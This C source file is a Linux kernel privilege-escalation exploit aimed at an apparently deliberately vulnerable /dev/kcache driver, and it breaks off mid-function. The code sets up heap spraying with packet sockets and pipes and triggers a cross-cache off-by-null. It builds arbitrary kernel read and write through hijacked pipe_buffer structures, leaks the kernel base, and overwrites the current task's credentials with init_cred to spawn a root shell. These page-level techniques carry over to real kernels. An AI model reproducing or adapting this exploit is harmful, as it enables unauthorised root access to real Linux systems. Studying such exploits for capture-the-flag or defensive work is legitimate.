exp.c

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sched.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/mman.h>

/**
 * I - fundamental functions
 * e.g. CPU-core binder, user-status saver, etc.
 */

size_t kernel_base = 0xffffffff81000000, kernel_offset = 0;
size_t page_offset_base = 0xffff888000000000, vmemmap_base = 0xffffea0000000000;
size_t init_task, init_nsproxy, init_cred;

size_t direct_map_addr_to_page_addr(size_t direct_map_addr)
{
    size_t page_count;

    page_count = ((direct_map_addr & (~0xfff)) - page_offset_base) / 0x1000;
    
    return vmemmap_base + page_count * 0x40;
}

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");
    
    system("/bin/sh");
    
    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

/**
 * @brief create an isolate namespace
 * note that the caller **SHOULD NOT** be used to get the root, but an operator
 * to perform basic exploiting operations in it only
 */
void unshare_setup(void)
{
    char edit[0x100];
    int tmp_fd;

    unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);

    tmp_fd = open("/proc/self/setgroups", O_WRONLY);
    write(tmp_fd, "deny", strlen("deny"));
    close(tmp_fd);

    tmp_fd = open("/proc/self/uid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getuid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);

    tmp_fd = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getgid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);
}

struct page;
struct pipe_inode_info;
struct pipe_buf_operations;

/* read start from len to offset, write start from offset */
struct pipe_buffer {
	struct page *page;
	unsigned int offset, len;
	const struct pipe_buf_operations *ops;
	unsigned int flags;
	unsigned long private;
};

struct pipe_buf_operations {
	/*
	 * ->confirm() verifies that the data in the pipe buffer is there
	 * and that the contents are good. If the pages in the pipe belong
	 * to a file system, we may need to wait for IO completion in this
	 * hook. Returns 0 for good, or a negative error value in case of
	 * error.  If not present all pages are considered good.
	 */
	int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);

	/*
	 * When the contents of this pipe buffer has been completely
	 * consumed by a reader, ->release() is called.
	 */
	void (*release)(struct pipe_inode_info *, struct pipe_buffer *);

	/*
	 * Attempt to take ownership of the pipe buffer and its contents.
	 * ->try_steal() returns %true for success, in which case the contents
	 * of the pipe (the buf->page) is locked and now completely owned by the
	 * caller. The page may then be transferred to a different mapping, the
	 * most often used case is insertion into different file address space
	 * cache.
	 */
	int (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);

	/*
	 * Get a reference to the pipe buffer.
	 */
	int (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};

/**
 * II - interface to interact with /dev/kcache
 */
#define KCACHE_SIZE 2048
#define KCACHE_NUM 0x10

#define KCACHE_ALLOC 0x114
#define KCACHE_APPEND 0x514
#define KCACHE_READ 0x1919
#define KCACHE_FREE 0x810

struct kcache_cmd {
    int idx;
    unsigned int sz;
    void *buf;
};

int dev_fd;

int kcache_alloc(int index, unsigned int size, char *buf)
{
    struct kcache_cmd cmd = {
        .idx = index,
        .sz = size,
        .buf = buf,
    };

    return ioctl(dev_fd, KCACHE_ALLOC, &cmd);
}

int kcache_append(int index, unsigned int size, char *buf)
{
    struct kcache_cmd cmd = {
        .idx = index,
        .sz = size,
        .buf = buf,
    };

    return ioctl(dev_fd, KCACHE_APPEND, &cmd);
}

int kcache_read(int index, unsigned int size, char *buf)
{
    struct kcache_cmd cmd = {
        .idx = index,
        .sz = size,
        .buf = buf,
    };

    return ioctl(dev_fd, KCACHE_READ, &cmd);
}

int kcache_free(int index)
{
    struct kcache_cmd cmd = {
        .idx = index,
    };

    return ioctl(dev_fd, KCACHE_FREE, &cmd);
}

/**
 * III -  pgv pages sprayer related 
 * not that we should create two process:
 * - the parent is the one to send cmd and get root
 * - the child creates an isolate userspace by calling unshare_setup(),
 *      receiving cmd from parent and operates it only
 */
#define PGV_PAGE_NUM 1000
#define PACKET_VERSION 10
#define PACKET_TX_RING 13

struct tpacket_req {
    unsigned int tp_block_size;
    unsigned int tp_block_nr;
    unsigned int tp_frame_size;
    unsigned int tp_frame_nr;
};

/* each allocation is (size * nr) bytes, aligned to PAGE_SIZE */
struct pgv_page_request {
    int idx;
    int cmd;
    unsigned int size;
    unsigned int nr;
};

/* operations type */
enum {
    CMD_ALLOC_PAGE,
    CMD_FREE_PAGE,
    CMD_EXIT,
};

/* tpacket version for setsockopt */
enum tpacket_versions {
    TPACKET_V1,
    TPACKET_V2,
    TPACKET_V3,
};

/* pipe for cmd communication */
int cmd_pipe_req[2], cmd_pipe_reply[2];

/* create a socket and alloc pages, return the socket fd */
int create_socket_and_alloc_pages(unsigned int size, unsigned int nr)
{
    struct tpacket_req req;
    int socket_fd, version;
    int ret;

    socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
    if (socket_fd < 0) {
        printf("[x] failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)\n");
        ret = socket_fd;
        goto err_out;
    }

    version = TPACKET_V1;
    ret = setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION, 
                     &version, sizeof(version));
    if (ret < 0) {
        printf("[x] failed at setsockopt(PACKET_VERSION)\n");
        goto err_setsockopt;
    }

    memset(&req, 0, sizeof(req));
    req.tp_block_size = size;
    req.tp_block_nr = nr;
    req.tp_frame_size = 0x1000;
    req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;

    ret = setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req));
    if (ret < 0) {
        printf("[x] failed at setsockopt(PACKET_TX_RING)\n");
        goto err_setsockopt;
    }

    return socket_fd;

err_setsockopt:
    close(socket_fd);
err_out:
    return ret;
}

/* the parent process should call it to send command of allocation to child */
int alloc_page(int idx, unsigned int size, unsigned int nr)
{
    struct pgv_page_request req = {
        .idx = idx,
        .cmd = CMD_ALLOC_PAGE,
        .size = size,
        .nr = nr,
    };
    int ret;

    write(cmd_pipe_req[1], &req, sizeof(struct pgv_page_request));
    read(cmd_pipe_reply[0], &ret, sizeof(ret));

    return ret;
}

/* the parent process should call it to send command of freeing to child */
int free_page(int idx)
{
    struct pgv_page_request req = {
        .idx = idx,
        .cmd = CMD_FREE_PAGE,
    };
    int ret;

    write(cmd_pipe_req[1], &req, sizeof(req));
    read(cmd_pipe_reply[0], &ret, sizeof(ret));

    usleep(10000);

    return ret;
}

/* the child, handler for commands from the pipe */
void spray_cmd_handler(void)
{
    struct pgv_page_request req;
    int socket_fd[PGV_PAGE_NUM];
    int ret;

    /* create an isolate namespace*/
    unshare_setup();

    /* handler request */
    do {
        read(cmd_pipe_req[0], &req, sizeof(req));

        if (req.cmd == CMD_ALLOC_PAGE) {
            ret = create_socket_and_alloc_pages(req.size, req.nr);
            socket_fd[req.idx] = ret;
        } else if (req.cmd == CMD_FREE_PAGE) {
            ret = close(socket_fd[req.idx]);
        } else {
            printf("[x] invalid request: %d\n", req.cmd);
        }

        write(cmd_pipe_reply[1], &ret, sizeof(ret));
    } while (req.cmd != CMD_EXIT);
}

/* init pgv-exploit subsystem :) */
void prepare_pgv_system(void)
{
    /* pipe for pgv */
    pipe(cmd_pipe_req);
    pipe(cmd_pipe_reply);
    
    /* child process for pages spray */
    if (!fork()) {
        spray_cmd_handler();
    }
}

/**
 * IV - config for page-level heap spray and heap fengshui
 */
#define PIPE_SPRAY_NUM 200

#define PGV_1PAGE_SPRAY_NUM 0x20

#define PGV_4PAGES_START_IDX PGV_1PAGE_SPRAY_NUM
#define PGV_4PAGES_SPRAY_NUM 0x40

#define PGV_8PAGES_START_IDX (PGV_4PAGES_START_IDX + PGV_4PAGES_SPRAY_NUM)
#define PGV_8PAGES_SPRAY_NUM 0x40

int pgv_1page_start_idx = 0;
int pgv_4pages_start_idx = PGV_4PAGES_START_IDX;
int pgv_8pages_start_idx = PGV_8PAGES_START_IDX;

/* spray pages in different size for various usages */
void prepare_pgv_pages(void)
{
    /**
     * We want a more clear and continuous memory there, which require us to 
     * make the noise less in allocating order-3 pages.
     * So we pre-allocate the pages for those noisy objects there.
     */
    puts("[*] spray pgv order-0 pages...");
    for (int i = 0; i < PGV_1PAGE_SPRAY_NUM; i++) {
        if (alloc_page(i, 0x1000, 1) < 0) {
            printf("[x] failed to create %d socket for pages spraying!\n", i);
        }
    }

    puts("[*] spray pgv order-2 pages...");
    for (int i = 0; i < PGV_4PAGES_SPRAY_NUM; i++) {
        if (alloc_page(PGV_4PAGES_START_IDX + i, 0x1000 * 4, 1) < 0) {
            printf("[x] failed to create %d socket for pages spraying!\n", i);
        }
    }

    /* spray 8 pages for page-level heap fengshui */
    puts("[*] spray pgv order-3 pages...");
    for (int i = 0; i < PGV_8PAGES_SPRAY_NUM; i++) {
        /* a socket need 1 obj: sock_inode_cache, 19 objs for 1 slub on 4 page*/
        if (i % 19 == 0) {
            free_page(pgv_4pages_start_idx++);
        }

        /* a socket need 1 dentry: dentry, 21 objs for 1 slub on 1 page */
        if (i % 21 == 0) {
            free_page(pgv_1page_start_idx += 2);
        }

        /* a pgv need 1 obj: kmalloc-8, 512 objs for 1 slub on 1 page*/
        if (i % 512 == 0) {
            free_page(pgv_1page_start_idx += 2);
        }

        if (alloc_page(PGV_8PAGES_START_IDX + i, 0x1000 * 8, 1) < 0) {
            printf("[x] failed to create %d socket for pages spraying!\n", i);
        }
    }

    puts("");
}

/* for pipe escalation */
#define SND_PIPE_BUF_SZ 96
#define TRD_PIPE_BUF_SZ 192

int pipe_fd[PIPE_SPRAY_NUM][2];
int orig_pid = -1, victim_pid = -1;
int snd_orig_pid = -1, snd_vicitm_pid = -1;
int self_2nd_pipe_pid = -1, self_3rd_pipe_pid = -1, self_4th_pipe_pid = -1;

struct pipe_buffer info_pipe_buf;

int extend_pipe_buffer_to_4k(int start_idx, int nr)
{
    for (int i = 0; i < nr; i++) {
        /* let the pipe_buffer to be allocated on order-3 pages (kmalloc-4k) */
        if (i % 8 == 0) {
            free_page(pgv_8pages_start_idx++);
        }

        /* a pipe_buffer on 1k is for 16 pages, so 4k for 64 pages */
        if (fcntl(pipe_fd[start_idx + i][1], F_SETPIPE_SZ, 0x1000 * 64) < 0) {
            printf("[x] failed to extend %d pipe!\n", start_idx + i);
            return -1;
        }
    }

    return 0;
}

/**
 *  V - FIRST exploit stage - cross-cache overflow to make page-level UAF
*/

void corrupting_first_level_pipe_for_page_uaf(void)
{
    char buf[0x1000];

    puts("[*] spray pipe_buffer...");
    for (int i = 0; i < PIPE_SPRAY_NUM; i ++) {

        if (pipe(pipe_fd[i]) < 0) {
            printf("[x] failed to alloc %d pipe!", i);
            err_exit("FAILED to create pipe!");
        }
    }

    /* spray pipe_buffer on order-2 pages, make vul-obj slub around with that.*/

    puts("[*] exetend pipe_buffer...");
    if (extend_pipe_buffer_to_4k(0, PIPE_SPRAY_NUM / 2) < 0) {
        err_exit("FAILED to extend pipe!");
    }

    puts("[*] spray vulnerable 2k obj...");
    free_page(pgv_8pages_start_idx++);
    for (int i = 0; i < KCACHE_NUM; i++) {
        kcache_alloc(i, 8, "arttnba3");
    }

    puts("[*] exetend pipe_buffer...");
    if (extend_pipe_buffer_to_4k(PIPE_SPRAY_NUM / 2, PIPE_SPRAY_NUM / 2) < 0) {
        err_exit("FAILED to extend pipe!");
    }

    puts("[*] allocating pipe pages...");
    for (int i = 0; i < PIPE_SPRAY_NUM; i++) {
        write(pipe_fd[i][1], "arttnba3", 8);
        write(pipe_fd[i][1], &i, sizeof(int));
        write(pipe_fd[i][1], &i, sizeof(int));
        write(pipe_fd[i][1], &i, sizeof(int));
        write(pipe_fd[i][1], "arttnba3", 8);
        write(pipe_fd[i][1], "arttnba3", 8);  /* prevent pipe_release() */
    }

    /* try to trigger cross-cache overflow */
    puts("[*] trigerring cross-cache off-by-null...");
    for (int i = 0; i < KCACHE_NUM; i++) {
        kcache_append(i, KCACHE_SIZE - 8, buf);
    }

    /* checking for cross-cache overflow */
    puts("[*] checking for corruption...");
    for (int i = 0; i < PIPE_SPRAY_NUM; i++) {
        char a3_str[0x10];
        int nr;

        memset(a3_str, '\0', sizeof(a3_str));
        read(pipe_fd[i][0], a3_str, 8);
        read(pipe_fd[i][0], &nr, sizeof(int));
        if (!strcmp(a3_str, "arttnba3") && nr != i) {
            orig_pid = nr;
            victim_pid = i;
            printf("\033[32m\033[1m[+] Found victim: \033[0m%d "
                   "\033[32m\033[1m, orig: \033[0m%d\n\n", 
                   victim_pid, orig_pid);
            break;
        }
    }

    if (victim_pid == -1) {
        err_exit("FAILED to corrupt pipe_buffer!");
    }
}

void corrupting_second_level_pipe_for_pipe_uaf(void)
{
    size_t buf[0x1000];
    size_t snd_pipe_sz = 0x1000 * (SND_PIPE_BUF_SZ/sizeof(struct pipe_buffer));

    memset(buf, '\0', sizeof(buf));

    /* let the page's ptr at pipe_buffer */
    write(pipe_fd[victim_pid][1], buf, SND_PIPE_BUF_SZ*2 - 24 - 3*sizeof(int));

    /* free orignal pipe's page */
    puts("[*] free original pipe...");
    close(pipe_fd[orig_pid][0]);
    close(pipe_fd[orig_pid][1]);

    /* try to rehit victim page by reallocating pipe_buffer */
    puts("[*] fcntl() to set the pipe_buffer on victim page...");
    for (int i = 0; i < PIPE_SPRAY_NUM; i++) {
        if (i == orig_pid || i == victim_pid) {
            continue;
        }

        if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, snd_pipe_sz) < 0) {
            printf("[x] failed to resize %d pipe!\n", i);
            err_exit("FAILED to re-alloc pipe_buffer!");
        }
    }

    /* read victim page to check whether we've successfully hit it */
    read(pipe_fd[victim_pid][0], buf, SND_PIPE_BUF_SZ - 8 - sizeof(int));
    read(pipe_fd[victim_pid][0], &info_pipe_buf, sizeof(info_pipe_buf));

    printf("\033[34m\033[1m[?] info_pipe_buf->page: \033[0m%p\n" 
           "\033[34m\033[1m[?] info_pipe_buf->ops: \033[0m%p\n", 
           info_pipe_buf.page, info_pipe_buf.ops);

    if ((size_t) info_pipe_buf.page < 0xffff000000000000
        || (size_t) info_pipe_buf.ops < 0xffffffff81000000) {
        err_exit("FAILED to re-hit victim page!");
    }

    puts("\033[32m\033[1m[+] Successfully to hit the UAF page!\033[0m");
    printf("\033[32m\033[1m[+] Got page leak:\033[0m %p\n", info_pipe_buf.page);
    puts("");

    /* construct a second-level page uaf */
    puts("[*] construct a second-level uaf pipe page...");
    info_pipe_buf.page = (struct page*) ((size_t) info_pipe_buf.page + 0x40);
    write(pipe_fd[victim_pid][1], &info_pipe_buf, sizeof(info_pipe_buf));

    for (int i = 0; i < PIPE_SPRAY_NUM; i++) {
        int nr;

        if (i == orig_pid || i == victim_pid) {
            continue;
        }

        read(pipe_fd[i][0], &nr, sizeof(nr));
        if (nr < PIPE_SPRAY_NUM && i != nr) {
            snd_orig_pid = nr;
            snd_vicitm_pid = i;
            printf("\033[32m\033[1m[+] Found second-level victim: \033[0m%d "
                   "\033[32m\033[1m, orig: \033[0m%d\n", 
                   snd_vicitm_pid, snd_orig_pid);
            break;
        }
    }

    if (snd_vicitm_pid == -1) {
        err_exit("FAILED to corrupt second-level pipe_buffer!");
    }
}

/**
 * VI - SECONDARY exploit stage: build pipe for arbitrary read & write
*/

void building_self_writing_pipe(void)
{
    size_t buf[0x1000];
    size_t trd_pipe_sz = 0x1000 * (TRD_PIPE_BUF_SZ/sizeof(struct pipe_buffer));
    struct pipe_buffer evil_pipe_buf;
    struct page *page_ptr;

    memset(buf, 0, sizeof(buf));

    /* let the page's ptr at pipe_buffer */
    write(pipe_fd[snd_vicitm_pid][1], buf, TRD_PIPE_BUF_SZ - 24 -3*sizeof(int));

    /* free orignal pipe's page */
    puts("[*] free second-level original pipe...");
    close(pipe_fd[snd_orig_pid][0]);
    close(pipe_fd[snd_orig_pid][1]);

    /* try to rehit victim page by reallocating pipe_buffer */
    puts("[*] fcntl() to set the pipe_buffer on second-level victim page...");
    for (int i = 0; i < PIPE_SPRAY_NUM; i++) {
        if (i == orig_pid || i == victim_pid 
            || i == snd_orig_pid || i == snd_vicitm_pid) {
            continue;
        }

        if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, trd_pipe_sz) < 0) {
            printf("[x] failed to resize %d pipe!\n", i);
            err_exit("FAILED to re-alloc pipe_buffer!");
        }
    }

    /* let a pipe->bufs pointing to itself */
    puts("[*] hijacking the 2nd pipe_buffer on page to itself...");
    evil_pipe_buf.page = info_pipe_buf.page;
    evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
    evil_pipe_buf.len = TRD_PIPE_BUF_SZ;
    evil_pipe_buf.ops = info_pipe_buf.ops;
    evil_pipe_buf.flags = info_pipe_buf.flags;
    evil_pipe_buf.private = info_pipe_buf.private;

    write(pipe_fd[snd_vicitm_pid][1], &evil_pipe_buf, sizeof(evil_pipe_buf));

    /* check for third-level victim pipe */
    for (int i = 0; i < PIPE_SPRAY_NUM; i++) {
        if (i == orig_pid || i == victim_pid 
            || i == snd_orig_pid || i == snd_vicitm_pid) {
            continue;
        }

        read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr));
        if (page_ptr == evil_pipe_buf.page) {
            self_2nd_pipe_pid = i;
            printf("\033[32m\033[1m[+] Found self-writing pipe: \033[0m%d\n", 
                    self_2nd_pipe_pid);
            break;
        }
    }

    if (self_2nd_pipe_pid == -1) {
        err_exit("FAILED to build a self-writing pipe!");
    }

    /* overwrite the 3rd pipe_buffer to this page too */
    puts("[*] hijacking the 3rd pipe_buffer on page to itself...");
    evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
    evil_pipe_buf.len = TRD_PIPE_BUF_SZ;

    write(pipe_fd[snd_vicitm_pid][1],buf,TRD_PIPE_BUF_SZ-sizeof(evil_pipe_buf));
    write(pipe_fd[snd_vicitm_pid][1], &evil_pipe_buf, sizeof(evil_pipe_buf));

    /* check for third-level victim pipe */
    for (int i = 0; i < PIPE_SPRAY_NUM; i++) {
        if (i == orig_pid || i == victim_pid 
            || i == snd_orig_pid || i == snd_vicitm_pid
            || i == self_2nd_pipe_pid) {
            continue;
        }

        read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr));
        if (page_ptr == evil_pipe_buf.page) {
            self_3rd_pipe_pid = i;
            printf("\033[32m\033[1m[+] Found another self-writing pipe:\033[0m"
                    "%d\n", self_3rd_pipe_pid);
            break;
        }
    }

    if (self_3rd_pipe_pid == -1) {
        err_exit("FAILED to build a self-writing pipe!");
    }

    /* overwrite the 4th pipe_buffer to this page too */
    puts("[*] hijacking the 4th pipe_buffer on page to itself...");
    evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
    evil_pipe_buf.len = TRD_PIPE_BUF_SZ;

    write(pipe_fd[snd_vicitm_pid][1],buf,TRD_PIPE_BUF_SZ-sizeof(evil_pipe_buf));
    write(pipe_fd[snd_vicitm_pid][1], &evil_pipe_buf, sizeof(evil_pipe_buf));

    /* check for third-level victim pipe */
    for (int i = 0; i < PIPE_SPRAY_NUM; i++) {
        if (i == orig_pid || i == victim_pid 
            || i == snd_orig_pid || i == snd_vicitm_pid
            || i == self_2nd_pipe_pid || i== self_3rd_pipe_pid) {
            continue;
        }

        read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr));
        if (page_ptr == evil_pipe_buf.page) {
            self_4th_pipe_pid = i;
            printf("\033[32m\033[1m[+] Found another self-writing pipe:\033[0m"
                    "%d\n", self_4th_pipe_pid);
            break;
        }
    }

    if (self_4th_pipe_pid == -1) {
        err_exit("FAILED to build a self-writing pipe!");
    }

    puts("");
}

struct pipe_buffer evil_2nd_buf, evil_3rd_buf, evil_4th_buf;
char temp_zero_buf[0x1000]= { '\0' };

/**
 * @brief Setting up 3 pipes for arbitrary read & write.
 * We need to build a circle there for continuously memory seeking:
 * - 2nd pipe to search
 * - 3rd pipe to change 4th pipe
 * - 4th pipe to change 2nd and 3rd pipe
 */
void setup_evil_pipe(void)
{
    /* init the initial val for 2nd,3rd and 4th pipe, for recovering only */
    memcpy(&evil_2nd_buf, &info_pipe_buf, sizeof(evil_2nd_buf));
    memcpy(&evil_3rd_buf, &info_pipe_buf, sizeof(evil_3rd_buf));
    memcpy(&evil_4th_buf, &info_pipe_buf, sizeof(evil_4th_buf));

    evil_2nd_buf.offset = 0;
    evil_2nd_buf.len = 0xff0;

    /* hijack the 3rd pipe pointing to 4th */
    evil_3rd_buf.offset = TRD_PIPE_BUF_SZ * 3;
    evil_3rd_buf.len = 0;
    write(pipe_fd[self_4th_pipe_pid][1], &evil_3rd_buf, sizeof(evil_3rd_buf));

    evil_4th_buf.offset = TRD_PIPE_BUF_SZ;
    evil_4th_buf.len = 0;
}

void arbitrary_read_by_pipe(struct page *page_to_read, void *dst)
{
    /* page to read */
    evil_2nd_buf.offset = 0;
    evil_2nd_buf.len = 0x1ff8;
    evil_2nd_buf.page = page_to_read;

    /* hijack the 4th pipe pointing to 2nd pipe */
    write(pipe_fd[self_3rd_pipe_pid][1], &evil_4th_buf, sizeof(evil_4th_buf));

    /* hijack the 2nd pipe for arbitrary read */
    write(pipe_fd[self_4th_pipe_pid][1], &evil_2nd_buf, sizeof(evil_2nd_buf));
    write(pipe_fd[self_4th_pipe_pid][1], 
          temp_zero_buf, 
          TRD_PIPE_BUF_SZ-sizeof(evil_2nd_buf));
    
    /* hijack the 3rd pipe to point to 4th pipe */
    write(pipe_fd[self_4th_pipe_pid][1], &evil_3rd_buf, sizeof(evil_3rd_buf));

    /* read out data */
    read(pipe_fd[self_2nd_pipe_pid][0], dst, 0xfff);
}

void arbitrary_write_by_pipe(struct page *page_to_write, void *src, size_t len)
{
    /* page to write */
    evil_2nd_buf.page = page_to_write;
    evil_2nd_buf.offset = 0;
    evil_2nd_buf.len = 0;

    /* hijack the 4th pipe pointing to 2nd pipe */
    write(pipe_fd[self_3rd_pipe_pid][1], &evil_4th_buf, sizeof(evil_4th_buf));

    /* hijack the 2nd pipe for arbitrary read, 3rd pipe point to 4th pipe */
    write(pipe_fd[self_4th_pipe_pid][1], &evil_2nd_buf, sizeof(evil_2nd_buf));
    write(pipe_fd[self_4th_pipe_pid][1], 
          temp_zero_buf, 
          TRD_PIPE_BUF_SZ - sizeof(evil_2nd_buf));
    
    /* hijack the 3rd pipe to point to 4th pipe */
    write(pipe_fd[self_4th_pipe_pid][1], &evil_3rd_buf, sizeof(evil_3rd_buf));

    /* write data into dst page */
    write(pipe_fd[self_2nd_pipe_pid][1], src, len);
}

/**
 * VII - FINAL exploit stage with arbitrary read & write
*/

size_t *tsk_buf, current_task_page, current_task, parent_task, buf[0x1000];


void info_leaking_by_arbitrary_pipe()
{
    size_t *comm_addr;

    memset(buf, 0, sizeof(buf));

    puts("[*] Setting up kernel arbitrary read & write...");
    setup_evil_pipe();

    /**
     * KASLR's granularity is 256MB, and pages of size 0x1000000 is 1GB MEM,
     * so we can simply get the vmemmap_base like this in a SMALL-MEM env.
     * For MEM > 1GB, we can just find the secondary_startup_64 func ptr,
     * which is located on physmem_base + 0x9d000, i.e., vmemmap_base[156] page.
     * If the func ptr is not there, just vmemmap_base -= 256MB and do it again.
     */
    vmemmap_base = (size_t) info_pipe_buf.page & 0xfffffffff0000000;
    for (;;) {
        arbitrary_read_by_pipe((struct page*) (vmemmap_base + 157 * 0x40), buf);

        if (buf[0] > 0xffffffff81000000 && ((buf[0] & 0xfff) == 0x070)) {
            kernel_base = buf[0] -  0x070;
            kernel_offset = kernel_base - 0xffffffff81000000;
            printf("\033[32m\033[1m[+] Found kernel base: \033[0m0x%lx\n"
                   "\033[32m\033[1m[+] Kernel offset: \033[0m0x%lx\n", 
                   kernel_base, kernel_offset);
            break;
        }

        vmemmap_base -= 0x10000000;
    }
    printf("\033[32m\033[1m[+] vmemmap_base:\033[0m 0x%lx\n\n", vmemmap_base);

    /* now seeking for the task_struct in kernel memory */
    puts("[*] Seeking task_struct in memory...");

    prctl(PR_SET_NAME, "arttnba3pwnn");

    /**
     * For a machine with MEM less than 256M, we can simply get the:
     *      page_offset_base = heap_leak & 0xfffffffff0000000;
     * But that's not always accurate, espacially on a machine with MEM > 256M.
     * So we need to find another way to calculate the page_offset_base.
     * 
     * Luckily the task_struct::ptraced points to itself, so we can get the
     * page_offset_base by vmmemap and current task_struct as we know the page.
     * 
     * Note that the offset of different filed should be referred to your env.
     */
    for (int i = 0; 1; i++) {
        arbitrary_read_by_pipe((struct page*) (vmemmap_base + i * 0x40), buf);
    
        comm_addr = memmem(buf, 0xf00, "arttnba3pwnn", 12);
        if (comm_addr && (comm_addr[-2] > 0xffff888000000000) /* task->cred */
            && (comm_addr[-3] > 0xffff888000000000) /* task->real_cred */
            && (comm_addr[-57] > 0xffff888000000000) /* task->read_parent */
            && (comm_addr[-56] > 0xffff888000000000)) {  /* task->parent */

            /* task->read_parent */
            parent_task = comm_addr[-57];

            /* task_struct::ptraced */
            current_task = comm_addr[-50] - 2528;

            page_offset_base = (comm_addr[-50]&0xfffffffffffff000) - i * 0x1000;
            page_offset_base &= 0xfffffffff0000000;

            printf("\033[32m\033[1m[+] Found task_struct on page: \033[0m%p\n",
                   (struct page*) (vmemmap_base + i * 0x40));
            printf("\033[32m\033[1m[+] page_offset_base: \033[0m0x%lx\n",
                   page_offset_base);
            printf("\033[34m\033[1m[*] current task_struct's addr: \033[0m"
                   "0x%lx\n\n", current_task);
            break;
        }
    }
}

/**
 * @brief find the init_task and copy something to current task_struct
*/
void privilege_escalation_by_task_overwrite(void)
{
    /* finding the init_task, the final parent of every task */
    puts("[*] Seeking for init_task...");

    for (;;) {
        size_t ptask_page_addr = direct_map_addr_to_page_addr(parent_task);

        tsk_buf = (size_t*) ((size_t) buf + (parent_task & 0xfff));

        arbitrary_read_by_pipe((struct page*) ptask_page_addr, buf);
        arbitrary_read_by_pipe((struct page*) (ptask_page_addr+0x40),&buf[512]);

        /* task_struct::real_parent */
        if (parent_task == tsk_buf[309]) {
            break;
        }

        parent_task = tsk_buf[309];
    }

    init_task = parent_task;
    init_cred = tsk_buf[363];
    init_nsproxy = tsk_buf[377];

    printf("\033[32m\033[1m[+] Found init_task: \033[0m0x%lx\n", init_task);
    printf("\033[32m\033[1m[+] Found init_cred: \033[0m0x%lx\n", init_cred);
    printf("\033[32m\033[1m[+] Found init_nsproxy:\033[0m0x%lx\n",init_nsproxy);

    /* now, changing the current task_struct to get the full root :) */
    puts("[*] Escalating ROOT privilege now...");

    current_task_page = direct_map_addr_to_page_addr(current_task);

    arbitrary_read_by_pipe((struct page*) current_task_page, buf);
    arbitrary_read_by_pipe((struct page*) (current_task_page+0x40), &buf[512]);

    tsk_buf = (size_t*) ((size_t) buf + (current_task & 0xfff));
    tsk_buf[363] = init_cred;
    tsk_buf[364] = init_cred;
    tsk_buf[377] = init_nsproxy;

    arbitrary_write_by_pipe((struct page*) current_task_page, buf, 0xff0);
    arbitrary_write_by_pipe((struct page*) (current_task_page+0x40),
                            &buf[512], 0xff0);

    puts("[+] Done.\n");
    puts("[*] checking for root...");

    get_root_shell();
}

#define PTE_OFFSET 12
#define PMD_OFFSET 21
#define PUD_OFFSET 30
#define PGD_OFFSET 39

#define PT_ENTRY_MASK 0b111111111UL
#define PTE_MASK (PT_ENTRY_MASK << PTE_OFFSET)
#define PMD_MASK (PT_ENTRY_MASK << PMD_OFFSET)
#define PUD_MASK (PT_ENTRY_MASK << PUD_OFFSET)
#define PGD_MASK (PT_ENTRY_MASK << PGD_OFFSET)

#define PTE_ENTRY(addr) ((addr >> PTE_OFFSET) & PT_ENTRY_MASK)
#define PMD_ENTRY(addr) ((addr >> PMD_OFFSET) & PT_ENTRY_MASK)
#define PUD_ENTRY(addr) ((addr >> PUD_OFFSET) & PT_ENTRY_MASK)
#define PGD_ENTRY(addr) ((addr >> PGD_OFFSET) & PT_ENTRY_MASK)

#define PAGE_ATTR_RW (1UL << 1)
#define PAGE_ATTR_NX (1UL << 63)

size_t pgd_addr, mm_struct_addr, *mm_struct_buf;
size_t stack_addr, stack_addr_another;
size_t stack_page, mm_struct_page;

size_t vaddr_resolve(size_t pgd_addr, size_t vaddr)
{
    size_t buf[0x1000];
    size_t pud_addr, pmd_addr, pte_addr, pte_val;

    arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pgd_addr), buf);
    pud_addr = (buf[PGD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    pud_addr += page_offset_base;

    arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pud_addr), buf);
